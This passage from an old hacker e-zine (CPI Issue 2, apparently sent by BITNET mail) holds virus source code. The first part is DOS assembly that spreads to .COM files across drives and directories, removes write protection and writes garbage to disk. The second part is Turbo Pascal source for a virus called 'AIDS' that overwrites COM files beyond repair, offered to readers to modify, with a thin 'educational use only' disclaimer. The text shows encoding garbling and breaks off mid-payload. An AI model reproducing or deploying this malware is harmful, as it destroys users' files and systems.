  696.       MOV DH,0                  ;| starts its destruction.
  697.       INT 26                    ;| (write crap on disk)
  698.  
  699. NO_NAME_CHANGE:                 ;| Check if the end of the search order table
  700.       MOV BX,CS:POINTER         ;| has been reached. If so, end.
  701.       DEC BX                    ;|
  702.       MOV CS:POINTER,BX         ;|
  703.       MOV DL,CS:[BX]            ;|
  704.       CMP DL,0FF                ;|
  705.       JNZ HUPS2                 ;|
  706.       JMP HOPS                  ;|
  707.  
  708. HUPS2:                          ;| Get a new drive from the search order table
  709.       MOV AH,0E                 ;| and select it, beginning with the ROOT dir.
  710.       INT 21                    ;| (change drive)
  711.       MOV AH,3B                 ;| (change path)
  712.       LEA DX,PATH               ;|
  713.       INT 21                    ;|
  714.       JMP FIND_FIRST_FILE       ;|
  715.  
  716. FIND_FIRST_SUBDIR:              ;| Starting from the root, search for the
  717.       MOV AH,17                 ;| first subdir. First, (change .exe to .com)
  718.       LEA DX,CS:MASKE_EXE       ;| convert all .EXE files to .COM in the
  719.       INT 21                    ;| old directory.
  720.       MOV AH,3B                 ;| (use root directory)
  721.       LEA DX,PATH               ;|
  722.       INT 21                    ;|
  723.       MOV AH,04E                ;| (search for first subdirectory)
  724.       MOV CX,00010001B          ;| (dir mask)
  725.       LEA DX,MASKE_DIR          ;|
  726.       INT 21                    ;|
  727.       JC CHANGE_DISK            ;|
  728.       MOV BX,CS:COUNTER         ;|
  729.       INC BX                    ;|
  730.       DEC BX                    ;|
  731.       JZ  USE_NEXT_SUBDIR       ;|
  732.  
  733. FIND_NEXT_SUBDIR:               ;| Search for the next sub-dir, if no more
  734.       MOV AH,4FH                ;| are found, the (search for next subdir)
  735.       INT 21                    ;| drive will be changed.
  736.       JC CHANGE_DISK            ;|
  737.       DEC BX                    ;|
  738.       JNZ FIND_NEXT_SUBDIR      ;|
  739.  
  740. USE_NEXT_SUBDIR:
  741.       MOV AH,2FH                ;| Select found directory. (get dta address)
  742.       INT 21                    ;|
  743.       ADD BX,1CH                ;|
  744.       MOV ES:[BX],W@\@          ;| (address of name in dta)
  745.       INC BX                    ;|
  746.       PUSH DS                   ;|
  747.       MOV AX,ES                 ;|
  748.       MOV DS,AX                 ;|
  749.       MOV DX,BX                 ;|
  750.       MOV AH,3B                 ;| (change path)
  751.       INT 21                    ;|
  752.       POP DS                    ;|
  753.       MOV BX,CS:COUNTER         ;|
  754.       INC BX                    ;|
  755.       MOV CS:COUNTER,BX         ;|
  756.  
  757. FIND_FIRST_FILE:                ;| Find first .COM file in the current dir.
  758.       MOV AH,04E                ;| If there are none, (Search for first)
  759.       MOV CX,00000001B          ;| search the next directory. (mask)
  760.       LEA DX,MASKE_COM          ;|
  761.       INT 21                    ;|
  762.       JC FIND_FIRST_SUBDIR      ;|
  763.       JMP CHECK_IF_ILL          ;|
  764.  
  765. FIND_NEXT_FILE:                 ;| If program is ill (infected) then search
  766.       MOV AH,4FH                ;| for another. (search for next)
  767.       INT 21                    ;|
  768.       JC FIND_FIRST_SUBDIR      ;|
  769.  
  770. CHECK_IF_ILL:                   ;| Check if already infected by virus.
  771.       MOV AH,3D                 ;| (open channel)
  772.       MOV AL,02                 ;| (read/write)
  773.       MOV DX,9EH                ;| (address of name in dta)
  774.       INT 21                    ;|
  775.       MOV BX,AX                 ;| (save channel)
  776.       MOV AH,3FH                ;| (read file)
  777.       MOV CH,BUFLEN             ;|
  778.       MOV DX,BUFFER             ;| (write in buffer)
  779.       INT 21                    ;|
  780.       MOV AH,3EH                ;| (close file)
  781.       INT 21                    ;|
  782.       MOV BX,CS:[BUFFER]        ;| (look for three NOPYs)
  783.       CMP BX,9090               ;|
  784.       JZ FIND_NEXT_FILE         ;|
  785.  
  786.       MOV AH,43                 ;| This section by-passes (write enable)
  787.       MOV AL,0                  ;| the MS/PC DOS Write Protection.
  788.       MOV DX,9EH                ;| (address of name in dta)
  789.       INT 21                    ;|
  790.       MOV AH,43                 ;|
  791.       MOV AL,01                 ;|
  792.       AND CX,11111110B          ;|
  793.       INT 21                    ;|
  794.  
  795.       MOV AH,3D                 ;| Open file for read/write (open channel)
  796.       MOV AL,02                 ;| access (read/write)
  797.       MOV DX,9EH                ;| (address of name in dta)
  798.       INT 21                    ;|
  799.  
  800.       MOV BX,AX                 ;| Read date entry of program and (channel)
  801.       MOV AH,57                 ;| save for future use. (get date)
  802.       MOV AL,0                  ;|
  803.       INT 21                    ;|
  804.       PUSH CX                   ;| (save date)
  805.       PUSH DX                   ;|
  806.  
  807.       MOV DX,CS:[CONTA W]       ;| The jump located at 0100h (save old jmp)
  808.       MOV CS:[JMPBUF],DX        ;| the program will be saved for future use.
  809.       MOV DX,CS:[BUFFER+1]      ;| (save new jump)
  810.       LEA CX,CONT-100           ;|
  811.       SUB DX,CX                 ;|
  812.       MOV CS:[CONTA],DX         ;|
  813.  
  814.       MOV AH,57                 ;| The virus now copies itself to (write date)
  815.       MOV AL,1                  ;| to the start of the file.
  816.       POP DX                    ;|
  817.       POP CX                    ;| (restore date)
  818.       INT 21                    ;|
  819.       MOV AH,3EH                ;| (close file)
  820.       INT 21                    ;|
  821.  
  822.       MOV DX,CS:[JMPBUF]        ;| Restore the old jump address. The virus
  823.       MOV CS:[CONTA],DX         ;| at address oCONTA@ the jump which was at the
  824.                                 ;| start of the program. This is done to
  825. HOPS:                           ;| preserve the executability of the host
  826.       NOP                       ;| program as much as possible. After saving,
  827.       CALL USE_OLD              ;| it still works with the jump address in the
  828.                                 ;| virus. The jump address in the virus differs
  829.                                 ;| from the jump address in memory
  830.  
  831. CONT  DB  0E9                   ;| Continue with the host program (make jump)
  832. CONTA DW  0                     ;|
  833.       MOV AH,00                 ;|
  834.       INT 21                    ;|
  835.  
  836. USE_OLD:
  837.       MOV AH,0E                 ;| Reactivate the selected (use old drive)
  838.       MOV DL,CS:DRIVE           ;| drive at the start of the program, and
  839.       INT 21                    ;| reactivate the selected path at the start
  840.       MOV AH,3B                 ;| of the program.(use old drive)
  841.       LEA DX,OLD_PATH-1         ;| (get old path and backslash)
  842.       INT 21                    ;|
  843.       RET                       ;|
  844.  
  845. SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
  846.  
  847. POINTER      DW   0000          ;| (pointer f. search order)
  848. COUNTER      DW   0000          ;| (counter f. nth. search)
  849. DISKS        DB   0             ;| (number of disks)
  850. MASKE_COM    DB o*.COM@,00      ;| (search for com files)
  851. MASKE_DIR    DB o*@,00          ;| (search for dirYs)
  852. MASKE_EXE    DB 0FF,0,0,0,0,0,00111111XB
  853.              DB 0,@????????EXE@,0,0,0,0
  854.              DB 0,@????????COM@,0
  855. MASKE_ALL    DB 0FF,0,0,0,0,0,00111111XB
  856.              DB 0,@???????????@,0,0,0,0
  857.              DB 0,@????????COM@,0
  858.  
  859. BUFFER EQU 0E00                 ;| (a safe place)
  860.  
  861. BUFLEN EQU 208H                 ;| Length of virus. Modify this accordingly
  862.                                 ;| if you modify this source. Be careful
  863.                                 ;| for this may change!
  864.  
  865. JMPBUF EQU BUFFER+BUFLEN        ;| (a safe place for jmp)
  866.  
  867. PATH  DB o\@,0                  ;| (first place)
  868. DRIVE DB 0                      ;| (actual drive)
  869. BACK_SLASH DB o\@
  870. OLD_PATH DB 32 DUP (?)          ;| (old path)
  871.  
  872.  
  873. Subject:  CPI Issue 2 6/11
  874. To:       tk0jut2
  875. Original_To:  BITNET%"tk0jut2@niu"
  876.  
  877.  
  878. [2.6]
  879.  +-------------------------------+     +--------------------------------------+
  880.  |                               |  P  |                                      |
  881.  |  @@@@@@@  @@@@@@@@  @@@@@@@@  |  *  |   #####    #####    ####     #####   |
  882.  |  @@       @@    @@     @@     |  R  |   #   #      #      #   #    #       |
  883.  |  @@       @@    @@     @@     |  *  |   #####      #      #   #    #####   |
  884.  |  @@       @@@@@@@@     @@     |  E  |   #   #      #      #   #        #   |
  885.  |  @@       @@           @@     |  *  |   #   #    #####    ####     #####   |
  886.  |  @@       @@           @@     |  S  |                                      |
  887.  |  @@@@@@@  @@        @@@@@@@@  |  *  +--------------------------------------+
  888.  |                               |  E  |     A NEW AND IMPROVED VIRUS FOR     |
  889.  +-------------------------------+  *  |          PC/MS DOS MACHINES          |
  890.  |       C O R R U P T E D       |  N  +--------------------------------------+
  891.  |                               |  *  |     CREATED BY: DOCTOR DISSECTOR     |
  892.  |     P R O G R A M M I N G     |  T  |FILE INTENDED FOR EDUCATIONAL USE ONLY|
  893.  |                               |  *  |  AUTHOR NOT RESPONSIBLE FOR READERS  |
  894.  |   I N T E R N A T I O N A L   |  S  |DOES NOT ENDORSE ANY ILLEGAL ACTIVITYS|
  895.  +-------------------------------+     +--------------------------------------+
  896.  
  897.  Well well, here it is... I call it AIDS... It infects all COM files, but it is
  898.  not perfect, so it will also change the date/time stamp to the current system.
  899.  Plus, any READ-ONLY attributes will ward this virus off, it doesnYt like them!
  900.  
  901.  Anyway, this virus was originally named NUMBER ONE, and I modified the code so
  902.  that it would fit my needs. The source code, which is included with this neato
  903.  package was written in Turbo Pascal 3.01a. Yeah I know itYs old, but it works.
  904.  
  905.  Well, I added a few things, you can experiment or mess around with it if youYd
  906.  like to, and add any mods to it that you want, but change the name and give us
  907.  some credit if you do.
  908.  
  909.  The file is approximately 13k long, and this extra memory will be added to the
  910.  file it picks as host. If no more COM files are to be found, it picks a random
  911.  value from 1-10, and if it happens to be the lucky number 7, AIDS will present
  912.  a nice screen with lots of smiles, with a note telling the operator that their
  913.  system is now screwed, I mean permanantly. The files encrypted containing AIDS
  914.  in their code are IRREVERSIBLY messed up. Oh well...
  915.  
  916.  Again, neither CPI nor the author of Number One or AIDS endorses this document
  917.  and program for use in any illegal manner. Also, CPI, the author to Number One
  918.  and AIDS is not responsible for any actions by the readers that may prove harm
  919.  in any way or another. This package was written for EDUCATIONAL purposes only!
  920.  
  921. { Beginning of source code, Turbo Pascal 3.01a }
  922. {C-}
  923. {U-}
  924. {I-}       { Wont allow a user break, enable IO check }
  925.  
  926. { -- Constants --------------------------------------- }
  927.  
  928. Const
  929.      VirusSize = 13847;    { AIDSYs code size }
  930.  
  931.      Warning   :String[42]     { Warning message }
  932.      = ZThis File Has Been Infected By AIDS! HaHa!Y;
  933.  
  934. { -- Type declarations------------------------------------- }
  935.  
  936. Type
  937.      DTARec    =Record      { Data area for file search }
  938.      DOSnext  :Array[1..21] of Byte;
  939.                    Attr    : Byte;
  940.                    Ftime,
  941.                    FDate,
  942.                    FLsize,
  943.                    FHsize  : Integer;
  944.                    FullName: Array[1..13] of Char;
  945.                  End;
  946.  
  947. Registers    = Record    {Register set used for file search }
  948.    Case Byte of
  949.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  950.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  951.    End;
  952.  
  953. { -- Variables--------------------------------------------- }
  954.  
  955. Var
  956.                                { Memory offset program code }
  957.    ProgramStart : Byte absolute Cseg:$100;
  958.                                           { Infected marker }
  959.    MarkInfected : String[42] absolute Cseg:$180;
  960.    Reg          : Registers;                 { Register set }
  961.    DTA          : DTARec;                       { Data area }
  962.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  963.    TestID       : String[42]; { To recognize infected files }
  964.    UsePath      : String[66];        { Path to search files }
  965.                                     { Lenght of search path }
  966.    UsePathLenght: Byte absolute UsePath;
  967.    Go           : File;                    { File to infect }
  968.    B            : Byte;                              { Used }
  969.    LoopVar      : Integer;  {Will loop forever}
  970.  
  971. { -- Program code------------------------------------------ }
  972.  
  973. Begin
  974.   GetDir(0, UsePath);               { get current directory }
  975.   if Pos(Z\Y, UsePath) <> UsePathLenght then
  976.     UsePath := UsePath + Z\Y;
  977.   UsePath := UsePath + Z*.COMY;        { Define search mask }
  978.   Reg.AH := $1A;                            { Set data area }
  979.   Reg.DS := Seg(DTA);
  980.   Reg.DX := Ofs(DTA);
  981.   MsDos(Reg);
  982.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  983.   Reg.AH := $4E;
  984.   Reg.DS := Seg(UsePath);
  985.   Reg.DX := Ofs(UsePath[1]);
  986.   Reg.CX := $ff;          { Set attribute to find ALL files }
  987.   MsDos(Reg);                   { Find first matching entry }
  988.   IF not Odd(Reg.Flags) Then         { If a file found then }
  989.     Repeat
  990.       UsePath := DTA.FullName;
  991.       B := Pos(#0, UsePath);
  992.       If B > 0 then
  993.       Delete(UsePath, B, 255);             { Remove garbage }
  994.       Assign(Go, UsePath);
  995.       Reset(Go);
  996.       If IOresult = 0 Then          { If not IO error then }
  997.       Begin
  998.         BlockRead(Go, Buffer, 2);
  999.         Move(Buffer[$80], TestID, 43);
  1000.                       { Test if file already ill(Infected) }
  1001.         If TestID <> Warning Then        { If not then ... }
  1002.         Begin
  1003.           Seek (Go, 0);
  1004.                             { Mark file as infected and .. }
  1005.           MarkInfected := Warning;
  1006.                                                { Infect it }
  1007.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  1008.           Close(Go);
  1009.           Halt;                   {.. and halt the program }
  1010.         End;
  1011.         Close(Go);
  1012.       End;
  1013.         { The file has already been infected, search next. }
  1014.       Reg.AH := $4F;
  1015.       Reg.DS := Seg(DTA);
  1016.       Reg.DX := Ofs(DTA);
  1017.       MsDos(Reg);
  1018.     {  ......................Until no more files are found }
  1019.     Until Odd(Reg.Flags);
  1020. Loopvar:=Random(10);
  1021. If Loopvar=7 then
  1022. begin
  1023.   Writeln(Z
  1024.  
  1025.  
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032. Y);                          {Give a lot of smiles}
  1033. Writeln(ZY);
  1034. Writeln(Z     Y);
  1035. Writeln(Z                                 ATTENTION:
  1036.  Y);
  1037. Writeln(Z      I have been elected to inform you that throughout your process of
  1038.  Y);
  1039. Writeln(Z      collecting and executing files, you have accidentally H